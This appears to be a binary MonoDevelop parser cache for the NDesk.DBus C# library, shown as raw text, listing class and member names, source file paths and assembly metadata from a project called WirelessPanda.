2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusiInvalidþÿÿÿ Rj MethodCallþÿÿÿ Tk MethodReturnþÿÿÿ VlErrorþÿÿÿ XmSignalþÿÿÿ Z¹fHeaderþÿÿÿB 5g}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.csh NDesk.DBusi Endiannessþÿÿÿ ÿhj EndianFlagk MessageTypeþÿÿÿÿhklFlagsþÿÿÿÿhm HeaderFlagn MajorVersionþÿÿÿoLengthþÿÿÿ pSerialþÿÿÿ qFieldsþÿÿÿ(ÿrSystem.Collections.Generics IDictionaryÿht FieldCodef PendingCallþÿÿÿ  >g€C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\PendingCall.csh NDesk.DBusiconnþÿÿÿ ÿhj Connectionkreplyþÿÿÿ ÿhlMessagemlockObjþÿÿÿ nwaitersþÿÿÿ þÿÿÿ  'iÿhj"oReplyþÿÿÿ;ÿhl00:p Completedþÿÿÿ= ÿqSystemrActionÿhlfAddressþÿÿÿ‚nnŸg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.csh NDesk.DBusiSYSTEM_BUS_ADDRESSþÿÿÿ~jParseþÿÿÿˆq q8|ÿhk AddressEntryl addressesq.mSystemþÿÿÿˆˆ€‰ˆnSessionþÿÿÿˆˆ‹ŒoStarterþÿÿÿˆˆ’“—”–pStarterBusTypeþÿÿÿˆˆ™šž›ßf AddressEntryþÿÿÿlg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.csh NDesk.DBusiMethodþÿÿÿj Propertiesþÿÿÿ%ÿkSystem.Collections.Genericl IDictionary^þÿÿÿ%(mEscapeþÿÿÿ**$=nstr* oUnescapeþÿÿÿ??&On?"pParseþÿÿÿˆRR.kÿhf.R,NfBadAddressExceptionþÿÿÿ  "g|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.csh NDesk.DBusþÿÿÿ - @ireason &ƒf MessageFilterþÿÿÿ  9g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageFilter.csh NDesk.DBusiMessageTypeToStringþÿÿÿˆ?jmtypeÿhk MessageType9lStringToMessageTypeþÿÿÿˆ!!>2ÿhkW!9mCreateMatchRuleþÿÿÿˆ55;8jÿhk55ÄfMessageþÿÿÿ  Yg|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Message.csh NDesk.DBusiHeaderþÿÿÿÿhij ConnectionþÿÿÿÿhjkBodyþÿÿÿ9ÿlSystemmByteþÿÿÿ n SetHeaderDataþÿÿÿFF*LÿlmF%o GetHeaderDataþÿÿÿNN!Xÿlmp Signatureþÿÿÿ(ÿhp""'q ReplyExpectedþÿÿÿ*+4,..3¢f MatchRuleþÿÿÿ  ãg~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MatchRule.csh NDesk.DBusi MessageTypeþÿÿÿÿjSystemkNullableÿhil InterfaceþÿÿÿmMemberþÿÿÿnPathþÿÿÿÿho ObjectPathpSenderþÿÿÿq DestinationþÿÿÿrArgsþÿÿÿ0ÿsSystem.Collections.GenerictSortedDictionary þÿÿÿ  uAppendþÿÿÿ;#vsb)`5w AppendArgþÿÿÿ%%=(v%! %)`%7þÿÿÿ**)H&*'x GetHashCodeþÿÿÿJJ%N ^þÿÿÿPP%myMatchesþÿÿÿpp$•zmsgÿh{Messagep |Parseþÿÿÿˆ˜˜.âÿhfW˜)¢ f Introspectorþÿÿÿ5g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Introspection.csh NDesk.DBusi NAMESPACEþÿÿÿjPUBLIC_IDENTIFIERþÿÿÿkSYSTEM_IDENTIFIERþÿÿÿlsbþÿÿÿmxmlþÿÿÿn root_pathþÿÿÿÿho ObjectPathpwriterþÿÿÿÿq System.Xmlr XmlWritersrelevantBindingFlagsþÿÿÿÚÿtSystem.Reflectionu BindingFlagsþÿÿÿ  %vGetProductDescriptionþÿÿÿ'')6w WriteStartþÿÿÿ88@x WriteNodeþÿÿÿBB&G!B!yWriteEndþÿÿÿIIWz WriteTypeþÿÿÿZZ+q{ target_typeZ|WriteArgþÿÿÿss*v}piÿt~ ParameterInfos'WriteArgReverseþÿÿÿxx1{}ÿt~x.|þÿÿÿ~~Sš€argType~argName~.‚argIsOut~<ƒreverse~K„ WriteMethodþÿÿÿœœ*«…miÿt† MethodInfoœ'‡ WritePropertyþÿÿÿ­­/ʈpriÿt‰ PropertyInfo­+Š WriteSignalþÿÿÿÌÌ)Ø‹eiÿtŒ EventInfoÌ&WriteInterfaceþÿÿÿÜÜ)_Ü$ŽWriteAnnotationsþÿÿÿG attrProviderÿtICustomAttributeProvider:‘WriteAnnotationþÿÿÿ:!'`4’ WriteEnumþÿÿÿ""$4_"÷f ExportObjectþÿÿÿhgC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\ExportObject.csh NDesk.DBusÿhi BusObject'þÿÿÿþÿÿÿ  Ljconnÿhk Connection#l object_pathÿhm ObjectPath4'HnHandleMethodCallþÿÿÿ..8[o method_callÿhp MethodCall.,q Registeredþÿÿÿ,+ëfDProxyþÿÿÿ  Ng{C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DProxy.csh NDesk.DBusÿiSystem.Runtime.Remoting.Proxiesj RealProxyk busObjectþÿÿÿÿhl BusObjectmmi_GetHashCodeþÿÿÿÿnSystem.Reflectiono MethodInfop mi_Equalsþÿÿÿÿnoq mi_ToStringþÿÿÿÿnormi_GetLifetimeServiceþÿÿÿÿnoþÿÿÿ  1kÿhl_,sGetDefaultReturnþÿÿÿ ;'tmiÿnu MethodBase'vinArgsÿwSystemxObject4þÿÿÿ))5?ÿy!System.Runtime.Remoting.MessagingzIMessageÿyz)-{.dtorþÿÿÿ HH MlfIBusþÿÿÿIg InterfaceHHÿh NDesk.DBusiInterfaceAttributejorg.freedesktop.DBusI_kyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csjÿjlIntrospectablem RequestNameþÿÿÿKÿjnRequestNameReply!K(oflagsÿjpNameFlagK7q ReleaseNameþÿÿÿLÿjrReleaseNameReply!L(sHelloþÿÿÿM t ListNamesþÿÿÿN ÿuSystemvStringwListActivatableNamesþÿÿÿO ÿuvx NameHasOwnerþÿÿÿP!PyStartServiceByNameþÿÿÿTÿjz StartReply!T)o T4{ GetNameOwnerþÿÿÿU !U|GetConnectionUnixUserþÿÿÿV }connection_nameV&~AddMatchþÿÿÿWruleW€ RemoveMatchþÿÿÿXXListQueuedOwnersþÿÿÿ[ ÿuv![%‚GetConnectionUnixProcessIDþÿÿÿ\ }\+ƒ#GetConnectionSELinuxSecurityContextþÿÿÿ] ÿu„Byte}]6… ReloadConfigþÿÿÿ^†NameOwnerChangedþÿÿÿQ!ÿ‡NameOwnerChangedHandlerˆNameLostþÿÿÿRÿ‰NameLostHandlerŠ NameAcquiredþÿÿÿSÿ‹NameAcquiredHandler”f Propertiesþÿÿÿ?g Interface>>ÿh NDesk.DBusiInterfaceAttributejorg.freedesktop.DBus.Properties?FkyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cslorg.freedesktop.DBusmGetþÿÿÿB nArgumentA A ÿhoArgumentAttribute`p interfaceBqpropnameB)rSetþÿÿÿCpCqC'`C8sGetAllþÿÿÿEnD D ÿhotpropsÿuSystem.Collections.Genericv IDictionarypE+#fIntrospectableþÿÿÿ8g Interface77ÿh NDesk.DBusiInterfaceAttributej#org.freedesktop.DBus.Introspectable8!<kyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cslorg.freedesktop.DBusm Introspectþÿÿÿ; nArgument: : ÿhoArgumentAttributeOfPeerþÿÿÿ0g Interface//ÿh NDesk.DBusiInterfaceAttributejorg.freedesktop.DBus.Peer05kyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cslorg.freedesktop.DBusmPingþÿÿÿ2n GetMachineIdþÿÿÿ4 oArgument3 3 ÿhpArgumentAttributeq machine_uuidfNameLostHandlerþÿÿÿ-gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csþÿÿÿ-!-/fNameAcquiredHandlerþÿÿÿ,gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csþÿÿÿ,!,3YfNameOwnerChangedHandlerþÿÿÿ+gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csþÿÿÿ+!+7h old_owner+Di new_owner+V@f StartReplyþÿÿÿ##)gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cshorg.freedesktop.DBusiSuccessþÿÿÿ &jAlreadyRunningþÿÿÿ (gfReleaseNameReplyþÿÿÿ!gyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cshorg.freedesktop.DBusiReleasedþÿÿÿ j NonExistentþÿÿÿ kNotOwnerþÿÿÿ ŒfRequestNameReplyþÿÿÿgyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cshorg.freedesktop.DBusi PrimaryOwnerþÿÿÿ jInQueueþÿÿÿ kExistsþÿÿÿ l AlreadyOwnerþÿÿÿ µfNameFlagþÿÿÿ gFlags  ( hyC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.csiorg.freedesktop.DBusjNoneþÿÿÿ kAllowReplacementþÿÿÿ lReplaceExistingþÿÿÿ m DoNotQueueþÿÿÿ Gf Connectionþÿÿÿ! gC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Connection.csh NDesk.DBus insþÿÿÿ ÿj System.IOkStreaml transportþÿÿÿ ÿmNDesk.DBus.Transportsn TransportoisAuthenticatedþÿÿÿ`pserialþÿÿÿi q writeLockþÿÿÿ‘ rInboundþÿÿÿ¡ÿsSystem.Collections.GenerictQueueÿhuMessagev mainThreadþÿÿÿ,ÿwSystem.ThreadingxThready pendingCallsþÿÿÿp ÿsz Dictionary ÿh{ PendingCall|Handlersþÿÿÿ+ÿszÿh} MatchRule0~RegisteredObjectsþÿÿÿÍ$ÿszÿh ObjectPathÿh€ BusObjectNativeEndiannessþÿÿÿ‚'ÿh‚ EndianFlagþÿÿÿ  þÿÿÿ ,'lÿmn "þÿÿÿ * *'.ƒaddress*„Openþÿÿÿˆ;;1Bÿhfƒ;)… OpenPrivateþÿÿÿDD-TƒD%† AuthenticateþÿÿÿVV^‡GenerateSerialþÿÿÿjjn ˆSendWithReplyAndBlockþÿÿÿpp7tÿhu‰msgÿhup3Š SendWithReplyþÿÿÿvv3‚ÿh{‰ÿhuv/‹Sendþÿÿÿ„„# ‰ÿhu„Œ WriteMessageþÿÿÿ’’+Ÿ‰ÿhu’' ReadMessageþÿÿÿÏÏ"ÿhuŽDispatchSignalsþÿÿÿ""#*Iterateþÿÿÿ//7 HandleMessageþÿÿÿ99,n‰ÿhu9(‘ HandleSignalþÿÿÿss+‹‰ÿhus'’MaybeSendUnknownMethodErrorþÿÿÿE•“ method_callÿh” MethodCall9•HandleMethodCallþÿÿÿ˜˜:Ë“ÿh”˜.– GetObjectþÿÿÿÒÒHã_Ò!—bus_nameÒ.)ÿhÒC–þÿÿÿå å;èÿ˜T—å!)ÿhå6˜™RegisterþÿÿÿëšObsoleteêê›GUse the overload of Register() which does not take a bus_name parameterëFî—ë )ÿhë5'ëBœ UnregisterþÿÿÿñšððIUse the overload of Unregister() which does not take a bus_name parameterñ>ô—ñ$)ÿhñ9™þÿÿÿöö5ý)ÿhö$'ö1œþÿÿÿÿÿ- )ÿhÿ(žAddMatchþÿÿÿ&#9Ÿrule4  RemoveMatchþÿÿÿ&#<Ÿ7þÿÿÿ  nþÿÿÿ ÿmn¡IsAuthenticatedþÿÿÿabfce f BusObjectþÿÿÿ  /g~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\BusObject.csh NDesk.DBusiconnþÿÿÿÿhj Connectionkbus_nameþÿÿÿ l object_pathþÿÿÿÿhm ObjectPathþÿÿÿ  þÿÿÿ  Niÿhj k-lÿhmBn ToggleSignalþÿÿÿ33TIoiface3$pmember32qdlg03Cradding3Ms SendSignalþÿÿÿKK…ZoK"pK0tinSigStrK?uwriterÿhv MessageWriterKWwretTypeKdx exceptionK{ySendMethodCallþÿÿÿ\\‹¨o\(p\6t\Euÿhv\]w\jx\þÿÿÿªª“z methodBaseÿ{System.Reflection| MethodBaseª"} methodNameª5~inArgsÿSystem€ObjectªJoutArgsÿ€ª_‚retValªsxª‰ƒ GetObjectþÿÿÿˆk'iÿhj.k;lÿhmP„declTypeb…GetHookupDelegateþÿÿÿ))3.0†eiÿ{‡ EventInfo)0jþÿÿÿ#ÿhj "ˆBusNameþÿÿÿ%&*')‰Pathþÿÿÿ,-1ÿhm.01 fBusþÿÿÿH  ¬gxC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Bus.csh NDesk.DBusÿhi Connectionj systemBusþÿÿÿ ÿhfk sessionBusþÿÿÿ ÿhfl starterBusþÿÿÿ4ÿhfmbusesþÿÿÿH!ÿnSystem.Collections.Generico DictionaryÿhfpbusþÿÿÿYÿqorg.freedesktop.DBusrIBussDBusNameþÿÿÿ[tDBusPathþÿÿÿ\ÿhu ObjectPathv unique_nameþÿÿÿ¡  wOpenþÿÿÿˆKK.WÿhfxaddressK&þÿÿÿ ^ ^hx^yRegisterþÿÿÿllrz GetUnixUserþÿÿÿtt)w!t${ RequestNameþÿÿÿyy4|ÿq|RequestNameReply!y/{þÿÿÿ~~Dÿq|!~/}flagsÿq~NameFlag~> ReleaseNameþÿÿÿƒƒ4†ÿq€ReleaseNameReply!ƒ/ NameHasOwnerþÿÿÿˆˆ)‹!ˆ$‚StartServiceByNameþÿÿÿ5ÿqƒ StartReply!0‚þÿÿÿ’’A•ÿqƒ!’0} ’;„AddMatchþÿÿÿ—$—:š…rule—5† RemoveMatchþÿÿÿœ$œ=Ÿ…œ8‡SystemþÿÿÿˆˆÿhfˆSessionþÿÿÿˆˆ!"1ÿhf#0‰Starterþÿÿÿˆˆ56Bÿhf7AŠ UniqueNameþÿÿÿ¢£«¤¦¦ª^f SaslClientþÿÿÿ‡gƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cshNDesk.DBus.Authenticationiconnþÿÿÿÿj NDesk.DBusk Connectionþÿÿÿ  !þÿÿÿ # #&&iÿjk#!lRunþÿÿÿ((HmUnixToDateTimeþÿÿÿˆLL4Qntime L/oDateTimeToUnixþÿÿÿˆSS4Z nS/pToHexþÿÿÿˆ^^,hqinputÿrSystemsByte^&t FromHexCharþÿÿÿkk+tuck)vFromHexþÿÿÿˆww,†ÿrswhexw(‚f ServerStateþÿÿÿgƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cshNDesk.DBus.AuthenticationiWaitingForAuthþÿÿÿ jWaitingForDataþÿÿÿ kWaitingForBeginþÿÿÿ f ClientStateþÿÿÿ  gƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cshNDesk.DBus.AuthenticationiWaitingForDataþÿÿÿ j WaitingForOKþÿÿÿ kWaitingForRejectþÿÿÿ Sf Notificationsþÿÿÿg Interfaceÿghorg.freedesktop.Notifications i‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Notifications.csjorg.freedesktopÿkIntrospectableÿl PropertiesmGetServerInformationþÿÿÿÿjnServerInformationoGetCapabilitiesþÿÿÿ ÿpSystemqStringrCloseNotificationþÿÿÿsid  tNotifyþÿÿÿ uapp_names &vicon1wsummary>xbodyNyactionsÿpq]zhintsÿ{System.Collections.Generic| IDictionary}timeout ŒˆfServerInformationþÿÿÿH!g‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Notifications.cshorg.freedesktop"þÿÿÿiVendorþÿÿÿjVersionþÿÿÿk SpecVersionþÿÿÿ fC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\AssemblyInfo.csgAssemblyFileVersion  ÿhSystem.ReflectioniAssemblyFileVersionAttributej0.6.0fkAssemblyInformationalVersion ÿhl%AssemblyInformationalVersionAttributejfmAssemblyVersion ÿhnAssemblyVersionAttributejfo AssemblyTitle ÿhpAssemblyTitleAttributeq NDesk.DBusfrAssemblyDescription ÿhsAssemblyDescriptionAttributet*D-Bus IPC protocol library and CLR bindingfuAssemblyCopyright ÿhvAssemblyCopyrightAttributewCopyright (C) Alp TokerfxAssemblyCompany  ÿhyAssemblyCompanyAttributezNDeskf{InternalsVisibleTo  ÿ|System.Runtime.CompilerServices}InternalsVisibleToAttribute~ dbus-monitorf{  ÿ|}NDesk.DBus.GLibf{  ÿ|}€NDesk.DBus.Proxiesÿÿÿÿ     GMonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null•System.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.ReferenceEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_version)MonoDevelop.Projects.Dom.ReferenceEntry[] ‚System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]†System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]ñ Y System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]…System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]P Y System.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?  'MonoDevelop.Projects.Dom.ReferenceEntry     ’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] /„System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]îÿÿÿ„System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue1MonoDevelop.Projects.Dom.Serialization.ClassEntryNDesk.DBus.Signal ëÿÿÿîÿÿÿNDesk.DBus.Error èÿÿÿîÿÿÿNDesk.DBus.MethodReturn åÿÿÿîÿÿÿNDesk.DBus.MethodCall âÿÿÿîÿÿÿ#NDesk.DBus.Transports.UnixTransport ßÿÿÿîÿÿÿ"NDesk.DBus.TypeImplementer #Üÿÿÿîÿÿÿ%NDesk.DBus.Transports.Transport &Ùÿÿÿîÿÿÿ(%NDesk.DBus.Transports.SocketTransport )Öÿÿÿîÿÿÿ+NDesk.DBus.DType ,Óÿÿÿîÿÿÿ.NDesk.DBus.ArgDirection /Ðÿÿÿîÿÿÿ1NDesk.DBus.Signature 2Íÿÿÿîÿÿÿ4NDesk.DBus.Protocol 5Êÿÿÿîÿÿÿ7NDesk.DBus.ObjectPath 8Çÿÿÿîÿÿÿ:NDesk.DBus.HeaderFlag ;Äÿÿÿîÿÿÿ=NDesk.DBus.EndianFlag >Áÿÿÿîÿÿÿ@NDesk.DBus.FieldCode A¾ÿÿÿîÿÿÿCNDesk.DBus.MessageType D»ÿÿÿîÿÿÿFNDesk.DBus.Header G¸ÿÿÿîÿÿÿINDesk.DBus.PendingCall JµÿÿÿîÿÿÿLNDesk.DBus.Address M²ÿÿÿîÿÿÿONDesk.DBus.AddressEntry P¯ÿÿÿîÿÿÿRNDesk.DBus.BadAddressException S¬ÿÿÿîÿÿÿUNDesk.DBus.MessageFilter V©ÿÿÿîÿÿÿXNDesk.DBus.Message Y¦ÿÿÿîÿÿÿ[NDesk.DBus.MatchRule \£ÿÿÿîÿÿÿ^NDesk.DBus.Introspector _ ÿÿÿîÿÿÿaNDesk.DBus.ExportObject bÿÿÿîÿÿÿdNDesk.DBus.DProxy ešÿÿÿîÿÿÿgorg.freedesktop.DBus.IBus h—ÿÿÿîÿÿÿjorg.freedesktop.DBus.Properties k”ÿÿÿîÿÿÿm#org.freedesktop.DBus.Introspectable n‘ÿÿÿîÿÿÿporg.freedesktop.DBus.Peer qŽÿÿÿîÿÿÿsNameLostHandler t‹ÿÿÿîÿÿÿvNameAcquiredHandler wˆÿÿÿîÿÿÿyNameOwnerChangedHandler z…ÿÿÿîÿÿÿ|org.freedesktop.DBus.StartReply }‚ÿÿÿîÿÿÿ%org.freedesktop.DBus.ReleaseNameReply €ÿÿÿîÿÿÿ‚%org.freedesktop.DBus.RequestNameReply ƒ|ÿÿÿîÿÿÿ…org.freedesktop.DBus.NameFlag †yÿÿÿîÿÿÿˆNDesk.DBus.Connection ‰vÿÿÿîÿÿÿ‹NDesk.DBus.BusObject ŒsÿÿÿîÿÿÿŽNDesk.DBus.Bus pÿÿÿîÿÿÿ‘$NDesk.DBus.Authentication.SaslClient ’mÿÿÿîÿÿÿ”%NDesk.DBus.Authentication.ServerState •jÿÿÿîÿÿÿ—%NDesk.DBus.Authentication.ClientState ˜gÿÿÿîÿÿÿšorg.freedesktop.Notifications ›dÿÿÿîÿÿÿ!org.freedesktop.ServerInformation ž ƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]aÿÿÿƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue0MonoDevelop.Projects.Dom.Serialization.FileEntry C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\AssemblyInfo.cs ¡^ÿÿÿaÿÿÿ£ƒC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Authentication.cs ¤[ÿÿÿaÿÿÿ¦xC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Bus.cs §Xÿÿÿaÿÿÿ©~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\BusObject.cs ªUÿÿÿaÿÿÿ¬C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Connection.cs ­Rÿÿÿaÿÿÿ¯yC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DBus.cs °Oÿÿÿaÿÿÿ²{C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\DProxy.cs ³LÿÿÿaÿÿÿµC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\ExportObject.cs ¶Iÿÿÿaÿÿÿ¸‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Introspection.cs ¹Fÿÿÿaÿÿÿ»{C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Mapper.cs ¼Cÿÿÿaÿÿÿ¾~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MatchRule.cs ¿@ÿÿÿaÿÿÿÁ|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Message.cs Â=ÿÿÿaÿÿÿÄ‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageFilter.cs Å:ÿÿÿaÿÿÿÇ‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageReader.cs È7ÿÿÿaÿÿÿÊ‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\MessageWriter.cs Ë4ÿÿÿaÿÿÿÍ|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Address.cs Î1ÿÿÿaÿÿÿЀC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\PendingCall.cs Ñ.ÿÿÿaÿÿÿÓ}C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Protocol.cs Ô+ÿÿÿaÿÿÿÖ~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Signature.cs ×(ÿÿÿaÿÿÿÙ„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\SocketTransport.cs Ú%ÿÿÿaÿÿÿÜ~C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Transport.cs Ý"ÿÿÿaÿÿÿß„C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\TypeImplementer.cs àÿÿÿaÿÿÿâˆC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\UnixNativeTransport.cs ãÿÿÿaÿÿÿå‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\UnixTransport.cs æÿÿÿaÿÿÿè|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.cs éÿÿÿaÿÿÿë‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Notifications.cs ì í)System.Runtime.Remoting.Proxies.RealProxyîSystem.Exception  ï ð'MonoDevelop.Projects.Dom.ReferenceEntry databaseUriñHAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\System.dllòJAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\mscorlib.dllóLAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\System.Xml.dllôLAssembly:MS.NET:C:\Program Files\GtkSharp\2.12\lib\Mono.Posix\Mono.Posix.dll1MonoDevelop.Projects.Dom.Serialization.ClassEntry positionnspacenametypeParameterCount 